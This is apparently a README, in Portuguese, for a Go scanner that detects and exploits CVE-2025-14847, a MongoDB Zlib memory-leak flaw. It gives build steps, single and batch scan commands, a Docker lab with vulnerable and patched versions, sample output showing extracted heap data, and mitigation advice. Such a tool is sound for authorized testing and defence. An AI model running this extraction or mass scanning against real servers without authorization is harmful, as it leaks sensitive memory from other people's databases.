
MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具
Ferramenta de Detecção de Vazamento de Memória do MongoDB (CVE-2025-14847)
⚠️ Aviso Importante: Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e avaliação de vulnerabilidades. O uso não autorizado pode violar a lei.
CVE-2025-14847 é uma grave vulnerabilidade de vazamento de memória no processamento do protocolo de compressão Zlib do MongoDB. Um atacante pode enviar pacotes de compressão maliciosamente construídos, fazendo com que o MongoDB retorne dados de heap não inicializados, que podem conter informações sensíveis.
# Clonar o repositório
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# Instalar dependências
go mod download
# Compilar
go build -o mongodb-scanner main.go
# Executar
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Acesse a página Releases para baixar a versão pré-compilada adequada ao seu sistema.
# Escanear um único alvo
./mongodb-scanner -t 127.0.0.1:27017
# Escanear em lote a partir de um arquivo
./mongodb-scanner -f targets.txt
# Escaneamento em lote (20 threads)
./mongodb-scanner -f targets.txt -c 20
# Escanear e salvar alvos vulneráveis
./mongodb-scanner -f targets.txt -o vulnerable.txt
# Faixa de offset personalizada (escaneamento mais rápido ou mais profundo)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
Crie um arquivo targets.txt:
# Lista de alvos MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# Se a porta não for especificada, a porta padrão é 27017
192.168.1.101
Para testar esta ferramenta com segurança, recomenda-se usar Docker para montar um ambiente de teste local.
# Iniciar MongoDB 6.0.14 (versão afetada) com compressão Zlib ativada
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# Verificar status do contêiner
docker ps
# Testar a vulnerabilidade
./mongodb-scanner -t 127.0.0.1:27017
Crie um arquivo docker-compose.yml:
version: '3.8'
services:
# Versão afetada (com Zlib ativado)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# Versão corrigida (para teste comparativo)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Iniciar o ambiente de teste:
# Iniciar todos os contêineres
docker-compose up -d
# Testar a versão afetada
./mongodb-scanner -t 127.0.0.1:27017
# Testar a versão corrigida
./mongodb-scanner -t 127.0.0.1:27018
# Parar e limpar
docker-compose down -v
# Parar e remover contêineres
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# Limpar volumes de dados
docker volume prune -f
A ferramenta usa prefixos uniformes para marcar as informações de saída:
[*] - Informações (alvo, versão, configuração, etc.)[+] - Sucesso/vulnerável/dados extraídos[-] - Falha/seguro/não vulnerável[!] - Aviso/nota importante╔══════════════════════════════════════════════════════════════╗
║ Ferramenta de Detecção de Vulnerabilidade CVE-2025-14847 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ Apenas para testes de segurança autorizados | Testes não autorizados podem ser ilegais
[*] Alvo: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Iniciando escaneamento...
[*] Alvo: 127.0.0.1:27017
[*] Versão: 6.0.14
[+] Versão vulnerável: Sim
[+] Compressão Zlib: Ativada
[!] Vulnerabilidade explorável, iniciando extração de memória...
[+] offset=229 comprimento=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - Vulnerabilidade explorável (v6.0.14) - 3468ms
[+] 1 item de dados de memória extraído com sucesso:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 1 | Seguro: 0 | Tempo: 3.4s
======================================================================
[*] Alvo: 127.0.0.1:27018
[*] Versão: 6.0.27
[-] Versão vulnerável: Não
[-] 127.0.0.1:27018 - Versão segura (v6.0.27) - 156ms
======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 0 | Seguro: 1 | Tempo: 0.2s
======================================================================
[*] Alvo: 127.0.0.1:27017
[*] Versão: 6.0.14
[+] Versão vulnerável: Sim
[-] Compressão Zlib: Não ativada
[-] 127.0.0.1:27017 - Zlib não ativado (v6.0.14) - 234ms
======================================================================
[*] Escaneamento concluído | Total: 1 | Explorável: 0 | Seguro: 1 | Tempo: 0.3s
======================================================================
[*] Alvo: 5 | Threads: 10 | Timeout: 2s | Offset: 20-8192
[*] Iniciando escaneamento...
[+] 192.168.1.10:27017 - Vulnerabilidade explorável (v6.0.14) - 3521ms
[+] 2 itens de dados de memória extraídos com sucesso:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - Versão segura (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - Zlib não ativado (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - Vulnerabilidade explorável (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - Vulnerabilidade explorável mas sem dados extraídos (v6.0.20) - 4123ms
======================================================================
[*] Escaneamento concluído | Total: 5 | Explorável: 3 | Seguro: 2 | Tempo: 5.2s
======================================================================
[+] Alvos vulneráveis salvos em: vulnerable.txt
Esta ferramenta utiliza um mecanismo de detecção em três etapas:
buildInfo)| Condição | Resultado |
|---|---|
| Versão vulnerável + Zlib ativado + dados extraídos | ✅ Vulnerabilidade explorável - dados vazados exibidos |
| Versão vulnerável + Zlib ativado + sem dados extraídos | ⚠️ Vulnerabilidade explorável mas sem dados extraídos |
| Versão vulnerável + Zlib não ativado | ❌ Zlib não ativado - não explorável |
Atualize imediatamente para uma das seguintes versões corrigidas:
Se não for possível atualizar a curto prazo, as seguintes medidas temporárias podem ser adotadas:
Configure em mongod.conf ou mongos.conf:
net:
compression:
compressors: []
Ou exclua explicitamente o zlib nos parâmetros de inicialização:
mongod --networkMessageCompressors snappy,zstd
Recomenda-se usar snappy ou zstd no lugar do zlib:
net:
compression:
compressors: snappy,zstd
bindIp--auth)⚠️ Aviso importante: Medidas mitigadoras temporárias só reduzem o risco, não são uma solução definitiva. Recomenda-se fortemente atualizar para uma versão corrigida o mais rápido possível.
Aviso importante:
Ao usar esta ferramenta, você concorda com:
Este projeto é distribuído sob a licença MIT License.
Contribuições são bem-vindas! Sinta-se à vontade para abrir Issues e Pull Requests!
git checkout -b feature/MinhaFuncionalidade)git commit -m 'Adiciona MinhaFuncionalidade')git push origin feature/MinhaFuncionalidade)onewinner - @onewinner
Endereço do projeto: https://github.com/onewinner/CVE-2025-14847
⭐ Se este projeto te ajudou, dê uma estrela!
Feito com ❤️ por Pesquisadores de Segurança
| Faixa de Versão | Status |
|---|
| 8.2.0 - 8.2.2 | ⚠️ Afetado |
| 8.0.0 - 8.0.16 | ⚠️ Afetado |
| 7.0.0 - 7.0.27 | ⚠️ Afetado |
| 6.0.0 - 6.0.26 | ⚠️ Afetado |
| 5.0.0 - 5.0.31 | ⚠️ Afetado |
| 4.4.0 - 4.4.29 | ⚠️ Afetado |
| 4.2.x todas as versões | ⚠️ Afetado |
| 4.0.x todas as versões | ⚠️ Afetado |
| 3.6.x todas as versões | ⚠️ Afetado |
| Parâmetro | Descrição | Valor Padrão |
|---|
-t <alvo> | Alvo único (ex: 127.0.0.1:27017) | - |
-f <arquivo> | Arquivo de alvos (um alvo por linha) | - |
-c <num> | Número de threads concorrentes | 10 |
-timeout <tempo> | Tempo limite de conexão | 2s |
-o <arquivo> | Arquivo de saída (salvar alvos vulneráveis) | - |
--min-offset <num> | Offset mínimo do comprimento do documento | 20 |
--max-offset <num> | Offset máximo do comprimento do documento | 8192 |
| Versão não vulnerável |
| ✅ Versão segura |